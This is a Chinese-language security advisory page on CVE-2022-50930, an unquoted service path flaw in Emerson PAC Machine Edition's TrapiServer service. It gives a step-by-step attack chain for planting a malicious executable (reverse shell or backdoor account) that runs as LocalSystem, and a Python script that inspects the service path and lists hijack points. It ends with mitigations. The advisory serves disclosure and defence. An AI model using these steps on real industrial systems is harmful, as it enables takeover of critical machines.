IPBUF安全漏洞报告
English
CVE-2022-50930 CVSS 8.4 高危

CVE-2022-50930 Emerson PAC Machine Edition TrapiServer服务未引用路径权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50930
漏洞类型
未引用服务路径
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Emerson PAC Machine Edition 9.80

相关标签

未引用服务路径权限提升本地攻击Emerson PAC Machine Edition工业控制系统TrapiServerWindows服务漏洞高危漏洞CVE-2022-50930

漏洞概述

CVE-2022-50930是Emerson PAC Machine Edition 9.80软件中存在的未引用服务路径(Unquoted Service Path)漏洞。该漏洞存在于TrapiServer服务中,由于Windows操作系统在解析服务路径时未正确处理包含空格的可执行文件路径,攻击者可以通过在服务启动路径的中间位置植入恶意可执行文件来实现权限提升。本地低权限用户可以利用此漏洞在服务重启或系统启动时以LocalSystem高权限执行任意代码,从而完全控制受影响系统。该漏洞的CVSS评分为8.4,属于高危漏洞,攻击向量为本地攻击,无需认证和用户交互,对机密性、完整性和可用性均造成严重影响。Emerson PAC Machine Edition是一款广泛应用于工业控制系统的编程软件,TrapiServer服务作为其核心组件在系统中以高权限运行,使得该漏洞成为工业控制系统环境中的重大安全隐患。

技术细节

未引用服务路径漏洞(Unquoted Service Path Vulnerability)是Windows系统中常见的一种权限提升漏洞。当Windows服务配置的可执行文件路径包含空格且未被双引号包裹时,系统会从左到右解析路径,并在每个空格处尝试查找并执行可执行文件。攻击者可以利用这一特性,在服务实际可执行文件所在的目录之前创建一个同名恶意可执行文件,从而实现劫持服务执行流程。以本漏洞为例,如果TrapiServer服务的路径配置为C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe,系统会依次尝试执行C:\Program.exe、C:\Program Files\Emerson.exe、C:\Program Files\Emerson\PAC.exe等路径。攻击者只需在相应位置创建恶意可执行文件(如PAC.exe),即可在服务启动时以LocalSystem权限执行。攻击者需要具备本地访问权限,并能够将恶意文件写入系统目录,然后等待服务重启或手动触发服务重启以执行恶意代码。

攻击链分析

STEP 1
步骤1:信息收集
攻击者获取受影响系统的本地访问权限,使用sc query或wmic命令查询TrapiServer服务的配置信息,确认服务路径是否包含空格且未被引号包裹
STEP 2
步骤2:路径分析
分析服务可执行文件路径(如C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe),识别路径中所有包含空格的目录位置,确定可被劫持的路径点
STEP 3
步骤3:恶意文件植入
在目标路径的中间位置创建恶意可执行文件(如PAC.exe),该文件应包含攻击者想要执行的代码,通常是反弹shell或创建高权限账户的后门程序
STEP 4
步骤4:触发服务重启
等待服务自动重启(系统更新、定时任务)或主动触发服务重启(需要管理员权限或特定条件),使服务加载并执行植入的恶意可执行文件
STEP 5
步骤5:权限提升
恶意代码在服务启动时以LocalSystem最高权限执行,攻击者成功获得系统完全控制权,可执行任意操作、安装持久化后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50930 - Emerson PAC Machine Edition TrapiServer Unquoted Service Path Exploit # This PoC demonstrates how an unquoted service path can be exploited import os import subprocess import time def check_service_path(): """Check the TrapiServer service path configuration""" try: # Query the TrapiServer service configuration result = subprocess.run( ['sc', 'qc', 'TrapiServer'], capture_output=True, text=True ) print("Service Configuration:") print(result.stdout) return True except Exception as e: print(f"Error checking service: {e}") return False def check_vulnerability(): """Check if the service path is unquoted and exploitable""" # Example unquoted path that would be vulnerable vulnerable_path = "C:\\Program Files\\Emerson\\PAC Machine Edition\\TrapiServer.exe" print(f"[*] Checking service path: {vulnerable_path}") # Split path at spaces to show potential hijack points path_parts = vulnerable_path.split('\\') current_path = "" print("\n[*] Potential exploitation points:") for i, part in enumerate(path_parts[:-1]): current_path += part + "\\" potential_exe = current_path.rstrip('\\') + ".exe" print(f" - {potential_exe}") return vulnerable_path def create_exploit_payload(): """Generate a proof-of-concept malicious executable path""" # In a real attack, this would be the malicious executable # For demonstration, we show what path would be created exploit_path = "C:\\Program Files\\Emerson\\PAC.exe" print(f"\n[!] To exploit, create malicious executable at: {exploit_path}") print("[!] When TrapiServer service starts, it will execute this file first") print("[!] The malicious code will run with LocalSystem privileges") return exploit_path def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2022-50930 - Unquoted Service Path Exploitation") print("Target: Emerson PAC Machine Edition TrapiServer Service") print("=" * 60) # Step 1: Check service configuration print("\n[Step 1] Checking TrapiServer service configuration...") check_service_path() # Step 2: Identify vulnerable path print("\n[Step 2] Identifying unquoted service path...") vulnerable_path = check_vulnerability() # Step 3: Generate exploit payload location print("\n[Step 3] Generating exploitation strategy...") exploit_path = create_exploit_payload() print("\n[*] Exploitation requires:") print(" 1. Local access to the system") print(" 2. Write permissions to the target directory") print(" 3. Ability to restart the TrapiServer service") print("\n[!] This is a proof-of-concept demonstration only") if __name__ == "__main__": exploit()

影响范围

Emerson PAC Machine Edition 9.80

防御指南

临时缓解措施
在官方补丁发布之前,可通过以下措施临时缓解该漏洞风险:1)使用icacls或Set-Acl命令为服务目录设置严格的访问控制列表,限制普通用户和攻击者账户的写入权限;2)修改TrapiServer服务配置,使用sc config命令将BINPATH设置为完整引号包裹的路径;3)禁用不必要的服务或将其设置为手动启动,减少被利用的机会;4)启用Windows事件审计,监控服务可执行文件目录的变更和可疑进程创建行为;5)实施网络隔离,确保工业控制系统网络与企业网络分离,防止攻击者获取初始访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表